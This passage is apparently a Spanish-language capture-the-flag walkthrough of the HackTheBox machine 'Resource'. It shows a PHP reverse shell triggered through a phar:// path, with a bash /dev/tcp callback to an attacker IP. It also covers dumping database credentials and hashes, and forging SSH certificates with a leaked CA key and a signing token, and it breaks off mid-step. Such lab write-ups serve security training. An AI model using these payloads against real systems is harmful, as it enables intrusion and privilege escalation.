Resource – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Hard
  • Platform: HackTheBox

‘Resource’ Avatar


Sinopsis Link to heading

“Resource” es una máquina de dificultad Difícil de la plataforma HackTheBox. Ésta nos enseña cómo performar un ataque de Deserialización para Phar para ejecutar comandos de manera remota. Además, esta máquina nos enseña principalmente a cómo jugar y manipular llaves/keys de SSH para obtener acceso a distintos usuarios a través de certificados de SSH.


User / Usuario Link to heading

Empezando con un escaneo con Nmap tenemos 3 puertos abiertos: 22 SSH, 80 HTTP y 2222 otro servicio SSH:

❯ sudo nmap -sVC -p22,80,2222 10.10.11.27 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 05:24 -03
Nmap scan report for 10.10.11.27
Host is up (0.21s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA)
|_  256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_  256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.43 seconds

Del output del scan somos capaces de ver un dominio itrc.ssg.htb. Agregamos este dominio a nuestro archivo /etc/hosts:

❯ echo '10.10.11.27 itrc.ssg.htb' | sudo tee -a /etc/hosts

Una vez agregado el dominio, podemos visitar http://itrc.ssg.htb. Podemos ver una página relacionada a IT para una compañía llamada Strategic Solutions Group (SSG):

Resource 1

En la parte superior derecha podemos ver que podemos registrar un usuario. Registramos un simple usuario y ahora el sitio web nos deja solicitar tickets de soporte:

Resource 2

Clickeando en New Ticket podemos ver que podemos generar un nuevo ticket. Podemos agregar un tema para el ticket, agregar algo de texto explicando el problema en el ticket y un archivo zip. Creamos un ticket con un simple archivo zip con un contenido cualquiera:

Resource 3

Podemos ver que nuestro ticket ha sido creado:

Resource 4

Clickeando en nuestros tickets podemos ver los archivos zip. Si ponemos nuestro mouse sobre el archivo zip, éste apunta a:

http://itrc.ssg.htb/uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip

El nombre del archivo parece ser generado de manera aleatoria.

Dado que tenemos un directorio /uploads podemos buscar por más directorios a través de un Brute Force Directory Listing con Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://itrc.ssg.htb -t 55 -x php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://itrc.ssg.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home.php             (Status: 200) [Size: 844]
/index.php            (Status: 200) [Size: 3120]
/login.php            (Status: 200) [Size: 433]
/register.php         (Status: 200) [Size: 566]
/uploads              (Status: 301) [Size: 314] [--> http://itrc.ssg.htb/uploads/]
/admin.php            (Status: 200) [Size: 46]
/assets               (Status: 301) [Size: 313] [--> http://itrc.ssg.htb/assets/]
/db.php               (Status: 200) [Size: 0]
/api                  (Status: 301) [Size: 310] [--> http://itrc.ssg.htb/api/]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/dashboard.php        (Status: 200) [Size: 46]
/ticket.php           (Status: 200) [Size: 46]
/loggedin.php         (Status: 200) [Size: 46]
/server-status        (Status: 403) [Size: 277]

Podemos ver el directorio /uploads. También podemos ver una página /admin.php. Visitando ésta última página, ésta simplemente redirige al portal principal. De manera que puede que necesitemos una cookie/sesión válida para acceder a esta página.

Una cosa interesante acerca de la página que llama mi atención es el que parámetro /?page nos envía a diferentes páginas dentro del sitio web. Por ejemplo, si queremos registrar un usuario la página es ?page=register; si nos queremos loguear la página es ?page=login; si ya estamos logueados el parámetro es ?page=dashboard; y si queremos crear un nuevo ticket la página es ?page=create_ticket. Lo que esto significa es que, quizás, a nivel de backend el parámetro page está llamando a los archivos login.php, register.php, dashboard.php y create_ticket.php. Basados en el output de Gobuster, muchos de estos archivos PHP que son llamados por ?page sí existen, por lo que puede ser el caso. Por ende, puede que seamos capaces de dirigir esta parámetro al archivo que hemos subido en el ticket. Por ejemplo:

http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip

Ahora, visitando este sitio con cURL retorna un falso positivo:

❯ curl -s -I 'http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip'

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 26 Sep 2024 09:07:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Set-Cookie: PHPSESSID=e8614a61a1c70528469131efa9ba90bf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Esto es porque la petición simplemente redirige a la página principal:

❯ curl -s 'http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip'

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>IT Support Center</title>
<SNIP>

Podemos entonces usar ffuf para ver si este parámetro es vulnerable a un Path Traversal. Dado que este parámetro siempre redirigirá a la página principal (o dashboard si nos encontramos logueados), podemos usar el tamaño de la respuesta para filtrar las respuestas no deseadas. Para testear si es vulnerable usamos este diccionario para Path Traversal de wfuzz. También usaremos nuestra cookie cookie/sesión de nuestra página web principal:

❯ ffuf -u 'http://itrc.ssg.htb/?page=FUZZ'  -w ./Traversal.txt -H "Cookie: PHPSESSID=2f44f1f3bf7d0a4cdff80b11decbceeb" -c -fs 3985

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://itrc.ssg.htb/?page=FUZZ
 :: Wordlist         : FUZZ: /home/gunzf0x/HTB/HTBMachines/Medium/Resource/content/Traversal.txt
 :: Header           : Cookie: PHPSESSID=2f44f1f3bf7d0a4cdff80b11decbceeb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 3985
________________________________________________

:: Progress: [68/68] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 2 ::

Pero no tenemos suerte. Por lo que este parámetro puede que no sea vulnerable a Path Traversal. O al menos no a uno simple que nos permita leer archivos.

Luego de intentar algunas cosas, podríamos intentar un Deserialization Attack con archivos PHAR. Podemos usar las pistas proveídas en HackTricks y este post los cuales explican el ataque. Podemos tratar de crear un simple archivo PHP el cual nos enviará una reverse shell. Además, encodearemos el payload en base64. Creamos un simple payload y lo comprimimos en un archivo .zip:

❯ echo 'bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"' | base64 -w0
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYxIgo=%

❯ echo '<?shell_exec(base64_decode("YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYxIgo="));?>' > shell.php

❯ zip -r shell.zip shell.php
updating: shell.php (deflated 8%)

Aquí, 10.10.16.5 es nuestra IP de atacante y 443 el puerto en el cual nos pondremos en escucha con netcat.

Creamos un nuevo ticket y subimos el archivo shell.zip. Visitamos el ticket generado y, de éste, extraemos el link donde se ha subido el archivo en el directorio /uploads. En mi caso el link generado es:

http://itrc.ssg.htb/uploads/5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip

Empezamos un listener con netcat en el puerto 443. Ahora, basados en el Deserialization Attack para Phar podemos tratar de visitar:

curl -s 'http://itrc.ssg.htb/?page=phar://<Path uploaded file>'

Para este ejemplo en específico, la ruta es entonces:

❯ curl -s 'http://itrc.ssg.htb/?page=phar://uploads/5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip/shell'

y en neustro listener obtenemos una shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.27] 50692
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@itrc:/var/www/itrc$ whoami

whoami
www-data

En el directorio actual, como ya vimos anteriormente, tenemos muchos archivos PHP:

www-data@itrc:/var/www/itrc$ ls -la

total 108
drwxr-xr-x 1 www-data www-data 4096 Feb 19  2024 .
drwxr-xr-x 1 www-data www-data 4096 Aug 13 11:13 ..
-rw-rw-r-- 1 www-data www-data 4313 Jan 24  2024 admin.php
drwxrwxr-x 1 www-data www-data 4096 Feb 26  2024 api
drwxrwxr-x 1 www-data www-data 4096 Jan 22  2024 assets
-rw-rw-r-- 1 www-data www-data  979 Jan 23  2024 create_ticket.php
-rw-rw-r-- 1 www-data www-data  344 Jan 24  2024 dashboard.php
-rw-rw-r-- 1 www-data www-data  308 Jan 22  2024 db.php
-rw-rw-r-- 1 www-data www-data  746 Jan 24  2024 filter.inc.php
-rw-rw-r-- 1 www-data www-data  982 Jan 24  2024 footer.inc.php
-rw-rw-r-- 1 www-data www-data 1869 Jan 24  2024 header.inc.php
-rw-rw-r-- 1 www-data www-data  844 Jan 22  2024 home.php
-rw-rw-r-- 1 www-data www-data  368 Feb 19  2024 index.php
-rw-rw-r-- 1 www-data www-data  105 Feb 19  2024 loggedin.php
-rw-rw-r-- 1 www-data www-data  433 Jan 23  2024 login.php
-rw-rw-r-- 1 www-data www-data   73 Jan 22  2024 logout.php
-rw-rw-r-- 1 www-data www-data  566 Jan 23  2024 register.php
-rw-rw-r-- 1 www-data www-data 2225 Feb  6  2024 savefile.inc.php
-rw-rw-r-- 1 www-data www-data 4968 Feb  6  2024 ticket.php
-rw-rw-r-- 1 www-data www-data 1374 Jan 24  2024 ticket_section.inc.php
drwxrwxr-x 1 www-data www-data 4096 Sep 26 09:52 uploads

Leyendo db.php muestra algo:

<?php

$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);

try {
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Connection failed: " . $e->getMessage());
}

Credenciales para una base de datos MySQL.

No somos capaces de ver los puertos abiertos en la máquina víctima para revisar si MySQL se encuentra corriendo en la máquina víctima:

www-data@itrc:/var/www/itrc$ netstat -nltp | grep 3306

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)

Como sea, nos podemos intentar conectar de todas formas al servicio MySQL, junto con la base de datos db:

www-data@itrc:/var/www/itrc$ mysql -u jj -pugEG5rR5SG8uPd -h db
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 171
Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Somos capaces de ver una base de datos llamada resourcecenter, con una tabla llamada users. Revisando qué es lo que tenemos en ella:

MariaDB [resourcecenter]> select * from users;

+----+-------------+--------------------------------------------------------------+-------+------------+
| id | user        | password                                                     | role  | department |
+----+-------------+--------------------------------------------------------------+-------+------------+
|  1 | zzinter     | $2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2 | admin | NULL       |
|  2 | msainristil | $2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6 | admin | NULL       |
|  3 | mgraham     | $2y$10$4nlQoZW60mVIQ1xauCe5YO0zZ0uaJisHGJMPNdQNjKOhcQ8LsjLZ2 | user  | NULL       |
|  4 | kgrant      | $2y$10$pLPQbIzcehXO5Yxh0bjhlOZtJ18OX4/O4mjYP56U6WnI6FvxvtwIm | user  | NULL       |
|  5 | bmcgregor   | $2y$10$nOBYuDGCgzWXIeF92v5qFOCvlEXdI19JjUZNl/zWHHX.RQGTS03Aq | user  | NULL       |
|  9 | gunzf0x     | $2y$10$gop2S/9QO9IWrfGFCUmYLOoyU8ulK36UGS.RKXpcNDj04xilpwPhe | user  | NULL       |
+----+-------------+--------------------------------------------------------------+-------+------------+
6 rows in set (0.001 sec)

Tenemos muchos hashes.

Revisando el directorio /home en la máquina víctima tenemos 2 usuarios:

www-data@itrc:/var/www/itrc$ ls -la /home

total 20
drwxr-xr-x 1 root        root        4096 Aug 13 11:13 .
drwxr-xr-x 1 root        root        4096 Aug 13 11:13 ..
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 msainristil
drwx------ 1 zzinter     zzinter     4096 Sep 26 08:27 zzinter

Estos usuario son los dos primeros usuarios en la tabla de MySQL. Guardamos los hashes de estos 2 usuarios en nuestra máquina de atacante.

Tratamos de crackearlos a través de un Brute Force Password Cracking, pero esto toma demasiado tiempo así que asumo que no es el camnio correcto.

De vuelta al directorio /uploads podemos ver que tenemos múltiples archivos .zip. Basados en su fecha de creación, algunos de ellos son más viejos que nuestro archivo recién subido:

www-data@itrc:/var/www/itrc/uploads$ ls -la
total 1160
drwxrwxr-x 1 www-data www-data    4096 Sep 26 10:35 .
drwxr-xr-x 1 www-data www-data    4096 Feb 19  2024 ..
<SNIP>
-rw-r--r-- 1 www-data www-data     211 Sep 26 10:35 5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
-rw-rw-r-- 1 www-data www-data 1162513 Feb  6  2024 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-rw-r-- 1 www-data www-data     634 Feb  6  2024 e8c6575573384aeeab4d093cc99c7e5927614185.zip
-rw-rw-r-- 1 www-data www-data     275 Feb  6  2024 eb65074fe37671509f24d1652a44944be61e4360.zip
<SNIP>

Descomprimiendo todos estos archivos a través de un oneliner de Bash tenemos ahora:

www-data@itrc:/var/www/itrc/uploads$ for file in *.zip; do unzip $file; done

<SNIP>
Archive:  5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
  inflating: shell.php
Archive:  c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
  inflating: itrc.ssg.htb.har
Archive:  e8c6575573384aeeab4d093cc99c7e5927614185.zip
  inflating: id_rsa.pub
Archive:  eb65074fe37671509f24d1652a44944be61e4360.zip
  inflating: id_ed25519.pub

Tenemos algunas llaves públicas. También tenemos un archivo .har.

Información
The HTTP Archive format, or HAR, is a JSON-formatted archive file format for logging of a web browser’s interaction with a site.

De manera que asumo que esta es una especie de archivo JSON. Leyéndo este archivo muestra un montón de data.

Dado que el archivo descomprimido se encuentra en el directorio /upload, al cual tenemos acceso, haremos uso del sitio web junto con cURL para visualizar el archivo. Luego de aplicar algunos filtros vemos lo que parece ser un usuario y una contraseña:

❯ curl -s 'http://itrc.ssg.htb/uploads/itrc.ssg.htb.har' | jq | grep -vE 'port-fill|Transitioning' | grep 'pass' -A 2

            "text": "user=msainristil&pass=82yards2closeit",
            "params": [
              {
--
                "name": "pass",
                "value": "82yards2closeit"
              }

Tenemos credenciales: msainristil:82yards2closeit.

Como un simple paréntesis, reviso si la password encontrada se encuentra en el diccionario rockyou.txt, de manera que podríamos haber encontrado esta contraseña usando JohnTheRipper y los hashes encontrados en la base de datos MySQL:

❯ grep -n '^82yards2closeit$' /usr/share/wordlists/rockyou.txt

No hallamos nada.

De vuelta del paréntesis, revisamos si nos podemos loguear con estas credenciales usando SSH a través de NetExec:

❯ netexec ssh 10.10.11.27 -u 'msainristil' -p '82yards2closeit'

SSH         10.10.11.27     22     10.10.11.27      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
SSH         10.10.11.27     22     10.10.11.27      [+] msainristil:82yards2closeit  (non root) Linux - Shell access!

Y podemos.

Nos conectamos con estas credenciales a través de SSH:

❯ sshpass -p '82yards2closeit' ssh -o stricthostkeychecking=no msainristil@10.10.11.27

<SNIP>

msainristil@itrc:~$ whoami
msainristil

Pero la flag de usuario no se encuentra aquí. La verdad que es una sorpresa dado que ha sido un largo camino hasta este punto.

Además, notamos que no estamos en la máquina víctima en sí; sino que estamos dentro de un container de Docker:

msainristil@itrc:~/decommission_old_ca$ hostname -I
172.223.0.3

msainristil@itrc:~$ ls -la / | grep docker
-rwxr-xr-x   1 root root    0 Aug 13 11:13 .dockerenv

Chequeando qué archivos tenemos en el directorio /home de este usuario retorna:

msainristil@itrc:~$ ls -la

total 32
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 .
drwxr-xr-x 1 root        root        4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root        root           9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil  220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 msainristil msainristil  807 Mar 29 19:40 .profile
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24  2024 decommission_old_ca

Revisando el directorio decomission_old_catenemos:

msainristil@itrc:~$ ls -la decommission_old_ca/

total 20
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24  2024 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24  2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub

Si revisamos estos archivos, resultan ser keys de SSH (privada y pública, respectivamente):

msainristil@itrc:~$ file decommission_old_ca/ca-itrc
decommission_old_ca/ca-itrc: OpenSSH private key

msainristil@itrc:~$ file decommission_old_ca/ca-itrc.pub
decommission_old_ca/ca-itrc.pub: OpenSSH RSA public key

Parecen ser certificados de SSH.

Luego de buscar un poco, encontramos este post de StackOverflow el cual explica cómo firmar y autorizar keys cuando tenemos certificados. Primero, generamos una key:

msainristil@itrc:~/decommission_old_ca$ ssh-keygen -t rsa -b 2048 -f keypair

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
The key fingerprint is:
SHA256:LFe6zqE+rqvaSEMcP8TiPQJom/1j5MLgXlpOkD7LDZk msainristil@itrc
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|. .              |
|o+ o      .      |
|= @    . o       |
| @ * .. S        |
|+ B *  o .       |
| E * =  o        |
|+o% o o+ .       |
|o*o+o=+.o        |
+----[SHA256]-----+

Luego, la firmamos:

msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -n zzinter -I anythinghere keypair.pub

Signed user key keypair-cert.pub: id "anythinghere" serial 0 for zzinter valid forever

Aquí, -s se refiere al signer (el que firma) y -n para el usuario objetivo. La flag -I puede contener cualquier string que queramos.

Esto genera archivos 3:

msainristil@itrc:~/decommission_old_ca$ ls -la

total 32
drwxr-xr-x 1 msainristil msainristil 4096 Sep 26 11:08 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24  2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub
-rw------- 1 msainristil msainristil 1823 Sep 26 11:08 keypair
-rw-r--r-- 1 msainristil msainristil 1855 Sep 26 11:08 keypair-cert.pub
-rw-r--r-- 1 msainristil msainristil  398 Sep 26 11:08 keypair.pub

Finalmente, pasamos estos archivos desde el container de la máquina víctima a nuestra máquina de atacante usando, por ejemplo, scp:

❯ sshpass -p '82yards2closeit' scp 'msainristil@10.10.11.27:~/decommission_old_ca/keypair*' ./

❯ ls -la

total 36
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Sep 26 08:13 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Sep 26 05:22 ..
-rw-rw-r-- 1 gunzf0x gunzf0x  142 Sep 26 07:15 hashes_found
-rw------- 1 gunzf0x gunzf0x 1823 Sep 26 08:13 keypair
-rw-r--r-- 1 gunzf0x gunzf0x 1855 Sep 26 08:13 keypair-cert.pub
-rw-r--r-- 1 gunzf0x gunzf0x  398 Sep 26 08:13 keypair.pub
-rw-rw-r-- 1 gunzf0x gunzf0x    5 Sep 26 05:36 test.txt
-rw-rw-r-- 1 gunzf0x gunzf0x  171 Sep 26 05:36 test.zip
-rw-rw-r-- 1 gunzf0x gunzf0x 3388 Sep 26 06:24 Traversal.txt

Podemos entonces usar este archivo generado para loguearnos a través de SSH como el usuario zzinter:

❯ ssh -i keypair zzinter@10.10.11.27

<SNIP>

zzinter@itrc:~$ whoami

zzinter

Podemos, finalmente, leer la flag de usuario en el directorio /home de este usuario.


Root Link to heading

Revisando qué archivos tiene este nuevo usuario, podemos ver:

zzinter@itrc:~$ ls -la

total 32
drwx------ 1 zzinter zzinter 4096 Sep 27 00:47 .
drwxr-xr-x 1 root    root    4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root    root       9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter  220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 zzinter zzinter  807 Mar 29 19:40 .profile
-rw-rw-r-- 1 root    root    1193 Feb 19  2024 sign_key_api.sh
-rw-r----- 1 root    zzinter   33 Sep 27 00:42 user.txt

Hay un script de Bash llamado sign_key_api.sh. Leyendo éste tenemos:

#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

Este script toma una key pública, un usuario y una lista de acciones/“principals” permitidos. Luego de revisar argumentos válidos, éste envía una llave pública junto con el usuario y un “principal” (que es una especie de “rol” para SSH) a un dominio remoto llamado signserv.ssg.htb a través de una petición POST usando un Bearer token.

En este punto, para recapitular, notamos algunas cosas:

  1. Todavía nos encontramos dentro de un container:
zzinter@itrc:~$ hostname -I

172.223.0.3
  1. El dueño del script encontrado es root, de manera que puede que éste sea, similar a como hicimos para la intrusión del usuario zzinter, un script para firmar llaves para/por este usuario.
  2. El script está enviando la data a signserv.ssg.htb. Por lo que agregamos este subdominio a nuestro archivo /etc/hosts; así, éste se ve ahora como:
❯ tail -n 1 /etc/hosts

10.10.11.27 itrc.ssg.htb signserv.ssg.htb
  1. Del escaneo de Nmap, podemos recordar que el servicio SSH estaba corriendo en 2 puertos diferentes: 22 y 2222. Quizás, 22 está corriendo en el contenedor de Docker y el puerto 2222 es el acceso SSH a la máquina víctima “real” (fuera del container).

Sin embargo, no somos capaces de correr el script en nuestra máquina de atacantes:

zzinter@itrc:~$ ./sign_key_api.sh

-bash: ./sign_key_api.sh: Permission denied

De manera que traemos una copia de este script a nuestra máquina de atacantes.

Una vez descargado, le asignamos permisos de ejecución (ejecutando chmod +x ./sign_key_api.sh) y ahora sí somos capaces de ejecutar este script:

❯ ./sign_key_api.sh

Usage: ./sign_key_api.sh <public_key_file> <username> <principal>

Necesitamos una key pública. Buscando por archivos .pub dentro del container con el comando find tenemos:

zzinter@itrc:/var/www/itrc/uploads$ find / -name "*.pub" -type f 2>/dev/null

/var/www/itrc/uploads/id_ed25519.pub
/var/www/itrc/uploads/id_rsa.pub
/etc/ssh/ssh_host_ed25519_key.pub
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_ecdsa_key.pub
/etc/ssh/ca_users_keys.pub
/etc/ssh/ssh_host_ed25519_key-cert.pub
/etc/ssh/ssh_host_ecdsa_key-cert.pub
/etc/ssh/ssh_host_rsa_key-cert.pub

Hay muchos de estos archivos dentro del directorio /etc/ssh. Pero no nos son útiles de momento (los probé y no funcionan/tenemos permisos de ejecución).

De vuelta al script de Bash, server_principals son una especie de “roles válidos” los cuales se asocian con un usuario como se explica aquí. Tenemos, por tanto, 4 roles válidos: webserver, analytics, support y security. Tratamos entonces de crear un certificado para cada rol en un simple oneliner:

❯ for role in {webserver,analytics,support,security}; do SAVE_FILE="$(echo -n $role)_cert.cert"; ./sign_key_api.sh keypair.pub $role $role > $SAVE_FILE ; done

❯ ls -la *.cert

-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 analytics_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 security_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 947 Sep 26 23:02 support_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 webserver_cert.cert

Una de las conexiones es exitosa. Más específicamente para el rol support usando su respectivo certificado generado para SSH:

❯ ssh -o CertificateFile=support_cert.cert -i keypair support@10.10.11.27 -p 2222

<SNIP>

support@ssg:~$ whoami
support

support@ssg:~$ hostname -I
10.10.11.27 172.17.0.1 172.21.0.1 172.223.0.1 dead:beef::250:56ff:feb0:ef63

Estamos dentro de la máquina víctima, no en un container.

Buscando más acerca de SSH Principals, encontramos este post explicándolos. Allí, se dice que deberíamos de revisar el directorio /etc/ssh (directorio donde, efectivamente, habíamos encontrado archivos .pub dentro del container). Así es como encontramos:

support@ssg:~$ ls -la /etc/ssh

total 604
drwxr-xr-x   5 root root   4096 Jul 24 12:24 .
drwxr-xr-x 100 root root   4096 Jul 30 08:45 ..
drwxr-xr-x   2 root root   4096 Feb  8  2024 auth_principals
-rw-------   1 root root    399 Feb  8  2024 ca-analytics
-rw-r--r--   1 root root     94 Feb  8  2024 ca-analytics.pub
-rw-------   1 root root    432 Feb  8  2024 ca-it
<SNIP>

Hay un directorio auth_principals en esta ruta.

Dentro de este directorio tenemos 3 archivos:

support@ssg:~$ ls -la /etc/ssh/auth_principals/

total 20
drwxr-xr-x 2 root root 4096 Feb  8  2024 .
drwxr-xr-x 5 root root 4096 Jul 24 12:24 ..
-rw-r--r-- 1 root root   10 Feb  8  2024 root
-rw-r--r-- 1 root root   18 Feb  8  2024 support
-rw-r--r-- 1 root root   13 Feb  8  2024 zzinter

Cada uno de ellos define un “principal”/rol:

support@ssg:/etc/ssh/auth_principals$ cat root
root_user

support@ssg:/etc/ssh/auth_principals$ cat support
support
root_user

support@ssg:/etc/ssh/auth_principals$ cat zzinter
zzinter_temp

2 de ellos son nuevos (los cuales no se encuentran presentes en el script sign_key_api.sh): root_user y zzinter_temp.

Podemos agregar estos roles a la copia del script sign_key_api.sh que tenemos en nuestra máquina de atacante, de manera que la línea definiendo la variable supported_principals ahora se ve como:

supported_principals="webserver,analytics,support,security,root_user,zzinter_temp"

Ahora, de manera similar a como generamos el certificado para el usuario support, vamos a tratar de generar un certificado para los principals/roles root_user y zzinter_temp. Si creamos una key para el usuario zzinter esto funciona:

❯ ./sign_key_api_modified.sh keypair.pub zzinter zzinter_temp
